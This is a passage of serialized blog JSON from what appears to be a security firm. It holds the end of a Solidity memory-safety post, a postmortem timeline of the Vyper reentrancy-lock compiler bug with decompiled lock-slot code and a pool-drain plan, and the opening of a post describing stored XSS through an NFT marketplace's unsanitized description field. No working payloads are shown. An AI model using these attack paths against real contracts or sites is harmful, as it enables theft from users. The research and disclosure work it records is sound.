bodyCopier",{"type":24,"tag":83,"props":30055,"children":30056},{"style":107},[30057],{"type":29,"value":558},{"type":24,"tag":83,"props":30059,"children":30060},{"style":137},[30061],{"type":29,"value":29906},{"type":24,"tag":83,"props":30063,"children":30064},{"style":107},[30065],{"type":29,"value":161},{"type":24,"tag":83,"props":30067,"children":30068},{"style":101},[30069],{"type":29,"value":30070},"operations",{"type":24,"tag":83,"props":30072,"children":30073},{"style":107},[30074],{"type":29,"value":30075},"());`\n",{"type":24,"tag":63,"props":30077,"children":30078},{"start":113},[30079],{"type":24,"tag":67,"props":30080,"children":30081},{},[30082],{"type":29,"value":30083},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":30085,"children":30086},{},[30087],{"type":29,"value":30088},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":51,"props":30090,"children":30091},{"id":5055},[30092],{"type":29,"value":5058},{"type":24,"tag":25,"props":30094,"children":30095},{},[30096],{"type":29,"value":30097},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":30099,"children":30100},{},[30101],{"type":29,"value":30102},"It's a promise between YUL generation and optimization.",{"type":24,"tag":18159,"props":30104,"children":30106},{"className":30105,"dataFootnotes":7},[18162],[30107,30112],{"type":24,"tag":51,"props":30108,"children":30110},{"className":30109,"id":15220},[18167],[30111],{"type":29,"value":18170},{"type":24,"tag":63,"props":30113,"children":30114},{},[30115,30149],{"type":24,"tag":67,"props":30116,"children":30118},{"id":30117},"user-content-fn-1",[30119,30121,30126,30128,30134,30136,30141,30143],{"type":29,"value":30120},"As an interesting aside, ",{"type":24,"tag":32,"props":30122,"children":30124},{"className":30123},[],[30125],{"type":29,"value":29122},{"type":29,"value":30127}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":32,"props":30129,"children":30131},{"className":30130},[],[30132],{"type":29,"value":30133},"memory-unsafe",{"type":29,"value":30135}," code can ",{"type":24,"tag":2655,"props":30137,"children":30138},{},[30139],{"type":29,"value":30140},"decrease",{"type":29,"value":30142}," gas consumption, especially in the YUL header. ",{"type":24,"tag":2033,"props":30144,"children":30147},{"href":30145,"ariaLabel":18273,"className":30146,"dataFootnoteBackref":7},"#user-content-fnref-1",[18275],[30148],{"type":29,"value":18278},{"type":24,"tag":67,"props":30150,"children":30152},{"id":30151},"user-content-fn-2",[30153,30155,30160,30162],{"type":29,"value":30154},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":2655,"props":30156,"children":30157},{},[30158],{"type":29,"value":30159},"guarantee",{"type":29,"value":30161}," behavior with opaque bytes. ",{"type":24,"tag":2033,"props":30163,"children":30166},{"href":30164,"ariaLabel":18293,"className":30165,"dataFootnoteBackref":7},"#user-content-fnref-2",[18275],[30167],{"type":29,"value":18278},{"type":24,"tag":2584,"props":30169,"children":30170},{},[30171],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":30173},[30174,30175,30176,30177,30178,30179,30180],{"id":28766,"depth":113,"text":28769},{"id":28820,"depth":113,"text":28823},{"id":29084,"depth":113,"text":29087},{"id":28815,"depth":113,"text":29308},{"id":29655,"depth":113,"text":29658},{"id":5055,"depth":113,"text":5058},{"id":15220,"depth":113,"text":18170},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":30185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30186,"description":30187,"author":5465,"image":30188,"date":30190,"isFeatured":16,"onBlogPage":16,"tags":30191,"body":30193,"_type":2606,"_id":30944,"_source":2608,"_file":30945,"_stem":30946,"_extension":2611},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":30189,"height":15,"width":15},"/posts/vyper-timeline/header.jpg","2023-08-01",[30192,28761],"vyper",{"type":21,"children":30194,"toc":30935},[30195,30200,30205,30210,30216,30221,30239,30249,30254,30262,30272,30291,30371,30381,30541,30546,30551,30561,30568,30573,30578,30592,30597,30614,30631,30650,30660,30673,30678,30691,30696,30701,30711,30738,30748,30778,30784,30793,30799,30804,30809,30814,30820,30825,30839,30844,30849,30854,30860,30865,30878,30904,30909,30931],{"type":24,"tag":25,"props":30196,"children":30197},{},[30198],{"type":29,"value":30199},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":30201,"children":30202},{},[30203],{"type":29,"value":30204},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":30206,"children":30207},{},[30208],{"type":29,"value":30209},"Here's how it all happened.",{"type":24,"tag":51,"props":30211,"children":30213},{"id":30212},"timeline",[30214],{"type":29,"value":30215},"Timeline",{"type":24,"tag":25,"props":30217,"children":30218},{},[30219],{"type":29,"value":30220},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":30222,"children":30223},{},[30224,30229,30231,30238],{"type":24,"tag":2040,"props":30225,"children":30226},{},[30227],{"type":29,"value":30228},"13:10 UTC",{"type":29,"value":30230}," pETH/ETH was ",{"type":24,"tag":2033,"props":30232,"children":30235},{"href":30233,"rel":30234},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[2037],[30236],{"type":29,"value":30237},"drained of $11M",{"type":29,"value":161},{"type":24,"tag":25,"props":30240,"children":30241},{},[30242,30247],{"type":24,"tag":2040,"props":30243,"children":30244},{},[30245],{"type":29,"value":30246},"13:19 UTC",{"type":29,"value":30248}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":30250,"children":30251},{},[30252],{"type":29,"value":30253},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":2677,"props":30255,"children":30256},{},[30257],{"type":24,"tag":25,"props":30258,"children":30259},{},[30260],{"type":29,"value":30261},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":30263,"children":30264},{},[30265,30270],{"type":24,"tag":2040,"props":30266,"children":30267},{},[30268],{"type":29,"value":30269},"14:01 UTC",{"type":29,"value":30271}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":30273,"children":30274},{},[30275,30280,30282,30289],{"type":24,"tag":2040,"props":30276,"children":30277},{},[30278],{"type":29,"value":30279},"14:07 UTC",{"type":29,"value":30281}," We decompiled the JPEGd contract ",{"type":24,"tag":2033,"props":30283,"children":30286},{"href":30284,"rel":30285},"https://ethervm.io/decompile",[2037],[30287],{"type":29,"value":30288},"with our favorite decompiler",{"type":29,"value":30290}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":73,"props":30292,"children":30296},{"className":30293,"code":30294,"language":30295,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[30297],{"type":24,"tag":32,"props":30298,"children":30299},{"__ignoreMap":7},[30300,30308,30316,30324,30332,30339,30347,30355,30363],{"type":24,"tag":83,"props":30301,"children":30302},{"class":85,"line":86},[30303],{"type":24,"tag":83,"props":30304,"children":30305},{},[30306],{"type":29,"value":30307},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":83,"props":30309,"children":30310},{"class":85,"line":113},[30311],{"type":24,"tag":83,"props":30312,"children":30313},{},[30314],{"type":29,"value":30315},"label_0057:\n",{"type":24,"tag":83,"props":30317,"children":30318},{"class":85,"line":128},[30319],{"type":24,"tag":83,"props":30320,"children":30321},{},[30322],{"type":29,"value":30323},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":83,"props":30325,"children":30326},{"class":85,"line":183},[30327],{"type":24,"tag":83,"props":30328,"children":30329},{},[30330],{"type":29,"value":30331},"    storage[0x00] = 0x01;\n",{"type":24,"tag":83,"props":30333,"children":30334},{"class":85,"line":203},[30335],{"type":24,"tag":83,"props":30336,"children":30337},{"emptyLinePlaceholder":16},[30338],{"type":29,"value":3422},{"type":24,"tag":83,"props":30340,"children":30341},{"class":85,"line":212},[30342],{"type":24,"tag":83,"props":30343,"children":30344},{},[30345],{"type":29,"value":30346},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":83,"props":30348,"children":30349},{"class":85,"line":256},[30350],{"type":24,"tag":83,"props":30351,"children":30352},{},[30353],{"type":29,"value":30354},"label_1AF3:\n",{"type":24,"tag":83,"props":30356,"children":30357},{"class":85,"line":270},[30358],{"type":24,"tag":83,"props":30359,"children":30360},{},[30361],{"type":29,"value":30362},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":83,"props":30364,"children":30365},{"class":85,"line":302},[30366],{"type":24,"tag":83,"props":30367,"children":30368},{},[30369],{"type":29,"value":30370},"    storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":30372,"children":30373},{},[30374,30379],{"type":24,"tag":2040,"props":30375,"children":30376},{},[30377],{"type":29,"value":30378},"14:27 UTC",{"type":29,"value":30380}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":73,"props":30382,"children":30384},{"className":19201,"code":30383,"language":19200,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[30385],{"type":24,"tag":32,"props":30386,"children":30387},{"__ignoreMap":7},[30388,30396,30417,30452,30464,30471,30478,30497,30529],{"type":24,"tag":83,"props":30389,"children":30390},{"class":85,"line":86},[30391],{"type":24,"tag":83,"props":30392,"children":30393},{"style":101},[30394],{"type":29,"value":30395},"@external\n",{"type":24,"tag":83,"props":30397,"children":30398},{"class":85,"line":113},[30399,30404,30408,30413],{"type":24,"tag":83,"props":30400,"children":30401},{"style":101},[30402],{"type":29,"value":30403},"@nonreentrant",{"type":24,"tag":83,"props":30405,"children":30406},{"style":107},[30407],{"type":29,"value":558},{"type":24,"tag":83,"props":30409,"children":30410},{"style":187},[30411],{"type":29,"value":30412},"\"lock\"",{"type":24,"tag":83,"props":30414,"children":30415},{"style":107},[30416],{"type":29,"value":2905},{"type":24,"tag":83,"props":30418,"children":30419},{"class":85,"line":128},[30420,30425,30430,30434,30439,30444,30448],{"type":24,"tag":83,"props":30421,"children":30422},{"style":90},[30423],{"type":29,"value":30424},"def",{"type":24,"tag":83,"props":30426,"children":30427},{"style":101},[30428],{"type":29,"value":30429}," test",{"type":24,"tag":83,"props":30431,"children":30432},{"style":107},[30433],{"type":29,"value":558},{"type":24,"tag":83,"props":30435,"children":30436},{"style":137},[30437],{"type":29,"value":30438},"addr",{"type":24,"tag":83,"props":30440,"children":30441},{"style":107},[30442],{"type":29,"value":30443},": address) -> ",{"type":24,"tag":83,"props":30445,"children":30446},{"style":3163},[30447],{"type":29,"value":29437},{"type":24,"tag":83,"props":30449,"children":30450},{"style":107},[30451],{"type":29,"value":5313},{"type":24,"tag":83,"props":30453,"children":30454},{"class":85,"line":183},[30455,30459],{"type":24,"tag":83,"props":30456,"children":30457},{"style":117},[30458],{"type":29,"value":16725},{"type":24,"tag":83,"props":30460,"children":30461},{"style":90},[30462],{"type":29,"value":30463}," True\n",{"type":24,"tag":83,"props":30465,"children":30466},{"class":85,"line":203},[30467],{"type":24,"tag":83,"props":30468,"children":30469},{"emptyLinePlaceholder":16},[30470],{"type":29,"value":3422},{"type":24,"tag":83,"props":30472,"children":30473},{"class":85,"line":212},[30474],{"type":24,"tag":83,"props":30475,"children":30476},{"style":101},[30477],{"type":29,"value":30395},{"type":24,"tag":83,"props":30479,"children":30480},{"class":85,"line":256},[30481,30485,30489,30493],{"type":24,"tag":83,"props":30482,"children":30483},{"style":101},[30484],{"type":29,"value":30403},{"type":24,"tag":83,"props":30486,"children":30487},{"style":107},[30488],{"type":29,"value":558},{"type":24,"tag":83,"props":30490,"children":30491},{"style":187},[30492],{"type":29,"value":30412},{"type":24,"tag":83,"props":30494,"children":30495},{"style":107},[30496],{"type":29,"value":2905},{"type":24,"tag":83,"props":30498,"children":30499},{"class":85,"line":270},[30500,30504,30509,30513,30517,30521,30525],{"type":24,"tag":83,"props":30501,"children":30502},{"style":90},[30503],{"type":29,"value":30424},{"type":24,"tag":83,"props":30505,"children":30506},{"style":101},[30507],{"type":29,"value":30508}," test2",{"type":24,"tag":83,"props":30510,"children":30511},{"style":107},[30512],{"type":29,"value":558},{"type":24,"tag":83,"props":30514,"children":30515},{"style":137},[30516],{"type":29,"value":30438},{"type":24,"tag":83,"props":30518,"children":30519},{"style":107},[30520],{"type":29,"value":30443},{"type":24,"tag":83,"props":30522,"children":30523},{"style":3163},[30524],{"type":29,"value":29437},{"type":24,"tag":83,"props":30526,"children":30527},{"style":107},[30528],{"type":29,"value":5313},{"type":24,"tag":83,"props":30530,"children":30531},{"class":85,"line":302},[30532,30536],{"type":24,"tag":83,"props":30533,"children":30534},{"style":117},[30535],{"type":29,"value":16725},{"type":24,"tag":83,"props":30537,"children":30538},{"style":90},[30539],{"type":29,"value":30540}," False\n",{"type":24,"tag":25,"props":30542,"children":30543},{},[30544],{"type":29,"value":30545},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":30547,"children":30548},{},[30549],{"type":29,"value":30550},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":30552,"children":30553},{},[30554,30559],{"type":24,"tag":2040,"props":30555,"children":30556},{},[30557],{"type":29,"value":30558},"14:37 UTC",{"type":29,"value":30560}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":30562,"children":30563},{},[30564],{"type":24,"tag":2510,"props":30565,"children":30567},{"alt":7,"src":30566},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":30569,"children":30570},{},[30571],{"type":29,"value":30572},"It was a race with the hackers.",{"type":24,"tag":25,"props":30574,"children":30575},{},[30576],{"type":29,"value":30577},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":2677,"props":30579,"children":30580},{},[30581],{"type":24,"tag":25,"props":30582,"children":30583},{},[30584,30586],{"type":29,"value":30585},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":2033,"props":30587,"children":30590},{"href":30588,"rel":30589},"https://twitter.com/hexagate_/status/1685677801813217280",[2037],[30591],{"type":29,"value":30588},{"type":24,"tag":25,"props":30593,"children":30594},{},[30595],{"type":29,"value":30596},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":30598,"children":30599},{},[30600,30605,30606,30613],{"type":24,"tag":2040,"props":30601,"children":30602},{},[30603],{"type":29,"value":30604},"14:50 UTC",{"type":29,"value":6204},{"type":24,"tag":2033,"props":30607,"children":30610},{"href":30608,"rel":30609},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[2037],[30611],{"type":29,"value":30612},"msETH/ETH was drained",{"type":29,"value":161},{"type":24,"tag":25,"props":30615,"children":30616},{},[30617,30622,30623,30630],{"type":24,"tag":2040,"props":30618,"children":30619},{},[30620],{"type":29,"value":30621},"15:34 UTC",{"type":29,"value":6204},{"type":24,"tag":2033,"props":30624,"children":30627},{"href":30625,"rel":30626},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[2037],[30628],{"type":29,"value":30629},"alETH/ETH was drained",{"type":29,"value":161},{"type":24,"tag":25,"props":30632,"children":30633},{},[30634,30639,30641,30648],{"type":24,"tag":2040,"props":30635,"children":30636},{},[30637],{"type":29,"value":30638},"15:43 UTC",{"type":29,"value":30640}," We identified that ",{"type":24,"tag":2033,"props":30642,"children":30645},{"href":30643,"rel":30644},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[2037],[30646],{"type":29,"value":30647},"CRV/ETH was vulnerable",{"type":29,"value":30649},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":30651,"children":30652},{},[30653,30658],{"type":24,"tag":2040,"props":30654,"children":30655},{},[30656],{"type":29,"value":30657},"16:11 UTC",{"type":29,"value":30659}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":30661,"children":30662},{},[30663,30665,30672],{"type":29,"value":30664},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":2033,"props":30666,"children":30669},{"href":30667,"rel":30668},"https://twitter.com/vyperlang/status/1685692973051498497",[2037],[30670],{"type":29,"value":30671},"public statement on affected versions",{"type":29,"value":161},{"type":24,"tag":25,"props":30674,"children":30675},{},[30676],{"type":29,"value":30677},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":30679,"children":30680},{},[30681,30683,30690],{"type":29,"value":30682},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":2033,"props":30684,"children":30687},{"href":30685,"rel":30686},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[2037],[30688],{"type":29,"value":30689},"somebody else stole the funds",{"type":29,"value":161},{"type":24,"tag":25,"props":30692,"children":30693},{},[30694],{"type":29,"value":30695},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":30697,"children":30698},{},[30699],{"type":29,"value":30700},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":30702,"children":30703},{},[30704,30709],{"type":24,"tag":2040,"props":30705,"children":30706},{},[30707],{"type":29,"value":30708},"21:26 UTC",{"type":29,"value":30710}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":2677,"props":30712,"children":30713},{},[30714],{"type":24,"tag":25,"props":30715,"children":30716},{},[30717,30719,30723,30725,30728,30730,30733,30735],{"type":29,"value":30718},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":30720,"props":30721,"children":30722},"br",{},[],{"type":29,"value":30724},"\nyou can then update admin fee ",{"type":24,"tag":30720,"props":30726,"children":30727},{},[],{"type":29,"value":30729},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":30720,"props":30731,"children":30732},{},[],{"type":29,"value":30734},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":30720,"props":30736,"children":30737},{},[],{"type":24,"tag":25,"props":30739,"children":30740},{},[30741,30746],{"type":24,"tag":2040,"props":30742,"children":30743},{},[30744],{"type":29,"value":30745},"21:52 UTC",{"type":29,"value":30747}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":30749,"children":30750},{},[30751,30753,30760,30762,30769,30777],{"type":29,"value":30752},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":2033,"props":30754,"children":30757},{"href":30755,"rel":30756},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[2037],[30758],{"type":29,"value":30759},"CRV admin fee bot",{"type":29,"value":30761}," had claimed fees and ",{"type":24,"tag":2033,"props":30763,"children":30766},{"href":30764,"rel":30765},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[2037],[30767],{"type":29,"value":30768},"the pool was drained",{"type":24,"tag":15213,"props":30770,"children":30771},{},[30772],{"type":24,"tag":2033,"props":30773,"children":30775},{"href":29375,"ariaDescribedBy":30774,"dataFootnoteRef":7,"id":29377},[15220],[30776],{"type":29,"value":3756},{"type":29,"value":161},{"type":24,"tag":51,"props":30779,"children":30781},{"id":30780},"blame",[30782],{"type":29,"value":30783},"Blame",{"type":24,"tag":25,"props":30785,"children":30786},{},[30787,30791],{"type":24,"tag":2655,"props":30788,"children":30789},{},[30790],{"type":29,"value":30783},{"type":29,"value":30792}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":1818,"props":30794,"children":30796},{"id":30795},"races",[30797],{"type":29,"value":30798},"Races",{"type":24,"tag":25,"props":30800,"children":30801},{},[30802],{"type":29,"value":30803},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":30805,"children":30806},{},[30807],{"type":29,"value":30808},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":30810,"children":30811},{},[30812],{"type":29,"value":30813},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":1818,"props":30815,"children":30817},{"id":30816},"information-leakage",[30818],{"type":29,"value":30819},"Information Leakage",{"type":24,"tag":25,"props":30821,"children":30822},{},[30823],{"type":29,"value":30824},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":30826,"children":30827},{},[30828,30830,30837],{"type":29,"value":30829},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":2033,"props":30831,"children":30834},{"href":30832,"rel":30833},"https://twitter.com/osec_io/status/1579969927020412929",[2037],[30835],{"type":29,"value":30836},"by publishing the \"scoop\"",{"type":29,"value":30838}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":30840,"children":30841},{},[30842],{"type":29,"value":30843},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":30845,"children":30846},{},[30847],{"type":29,"value":30848},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":30850,"children":30851},{},[30852],{"type":29,"value":30853},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":51,"props":30855,"children":30857},{"id":30856},"next-steps",[30858],{"type":29,"value":30859},"Next Steps",{"type":24,"tag":25,"props":30861,"children":30862},{},[30863],{"type":29,"value":30864},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":30866,"children":30867},{},[30868,30870,30877],{"type":29,"value":30869},"It's important to note that this bug ",{"type":24,"tag":2033,"props":30871,"children":30874},{"href":30872,"rel":30873},"https://twitter.com/real_philogy/status/1685948253139857409",[2037],[30875],{"type":29,"value":30876},"was patched since November 2021",{"type":29,"value":161},{"type":24,"tag":2677,"props":30879,"children":30880},{},[30881],{"type":24,"tag":25,"props":30882,"children":30883},{},[30884,30886,30891,30892,30895,30897,30902],{"type":29,"value":30885},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":2655,"props":30887,"children":30888},{},[30889],{"type":29,"value":30890},"processes",{"type":29,"value":18269},{"type":24,"tag":30720,"props":30893,"children":30894},{},[],{"type":29,"value":30896},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":2655,"props":30898,"children":30899},{},[30900],{"type":29,"value":30901},"was",{"type":29,"value":30903}," fixed.",{"type":24,"tag":25,"props":30905,"children":30906},{},[30907],{"type":29,"value":30908},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":18159,"props":30910,"children":30912},{"className":30911,"dataFootnotes":7},[18162],[30913,30918],{"type":24,"tag":51,"props":30914,"children":30916},{"className":30915,"id":15220},[18167],[30917],{"type":29,"value":18170},{"type":24,"tag":63,"props":30919,"children":30920},{},[30921],{"type":24,"tag":67,"props":30922,"children":30923},{"id":30117},[30924,30926],{"type":29,"value":30925},"Thankfully, these funds were later returned. ",{"type":24,"tag":2033,"props":30927,"children":30929},{"href":30145,"ariaLabel":18273,"className":30928,"dataFootnoteBackref":7},[18275],[30930],{"type":29,"value":18278},{"type":24,"tag":2584,"props":30932,"children":30933},{},[30934],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":30936},[30937,30938,30942,30943],{"id":30212,"depth":113,"text":30215},{"id":30780,"depth":113,"text":30783,"children":30939},[30940,30941],{"id":30795,"depth":128,"text":30798},{"id":30816,"depth":128,"text":30819},{"id":30856,"depth":113,"text":30859},{"id":15220,"depth":113,"text":18170},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":30948,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30949,"description":30950,"author":30951,"image":30953,"date":30955,"isFeatured":16,"tags":30956,"onBlogPage":16,"body":30959,"_type":2606,"_id":35153,"_source":2608,"_file":35154,"_stem":35155,"_extension":2611},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[11,30952],"bruno",{"src":30954,"height":15,"width":15},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[30957,30958],"nft-marketplaces","xss",{"type":21,"children":30960,"toc":35136},[30961,30965,30970,30974,30979,30984,30989,31005,31011,31024,31046,31053,31058,31065,31070,31076,31081,31086,31091,31096,31107,31112,32068,32078,32090,32097,32102,32924,32929,32934,32939,32944,33728,33733,33813,33818,33886,33892,33897,33902,34129,34142,34147,34152,34157,34164,34169,34176,34182,34187,34192,34197,34516,34521,34527,34543,34549,34554,34559,34569,34574,34579,34588,34593,34599,34615,34628,34633,34638,34658,34665,34670,34677,34686,34691,34712,34765,34770,34821,34835,34840,34853,34966,34989,35073,35096,35101,35106,35111,35116,35121,35127,35132],{"type":24,"tag":51,"props":30962,"children":30963},{"id":28766},[30964],{"type":29,"value":28769},{"type":24,"tag":25,"props":30966,"children":30967},{},[30968],{"type":29,"value":30969},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":1818,"props":30971,"children":30972},{"id":2662},[30973],{"type":29,"value":2665},{"type":24,"tag":25,"props":30975,"children":30976},{},[30977],{"type":29,"value":30978},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":30980,"children":30981},{},[30982],{"type":29,"value":30983},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":51,"props":30985,"children":30986},{"id":30958},[30987],{"type":29,"value":30988},"XSS",{"type":24,"tag":25,"props":30990,"children":30991},{},[30992],{"type":24,"tag":2655,"props":30993,"children":30994},{},[30995,30997,31004],{"type":29,"value":30996},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":2033,"props":30998,"children":31001},{"href":30999,"rel":31000},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[2037],[31002],{"type":29,"value":31003},"even explain it to myself",{"type":29,"value":161},{"type":24,"tag":1818,"props":31006,"children":31008},{"id":31007},"managing-metadata",[31009],{"type":29,"value":31010},"Managing Metadata",{"type":24,"tag":25,"props":31012,"children":31013},{},[31014,31016,31023],{"type":29,"value":31015},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":2033,"props":31017,"children":31020},{"href":31018,"rel":31019},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[2037],[31021],{"type":29,"value":31022},"payloads",{"type":29,"value":161},{"type":24,"tag":25,"props":31025,"children":31026},{},[31027,31029,31036,31038,31044],{"type":29,"value":31028},"We showcase this vulnerability in the ",{"type":24,"tag":2033,"props":31030,"children":31033},{"href":31031,"rel":31032},"https://rocki.com/",[2037],[31034],{"type":29,"value":31035},"Rocki Marketplace",{"type":29,"value":31037},". The ",{"type":24,"tag":32,"props":31039,"children":31041},{"className":31040},[],[31042],{"type":29,"value":31043},"artistDescription",{"type":29,"value":31045}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":31047,"children":31048},{},[31049],{"type":24,"tag":2510,"props":31050,"children":31052},{"alt":7,"src":31051},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":31054,"children":31055},{},[31056],{"type":29,"value":31057},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their 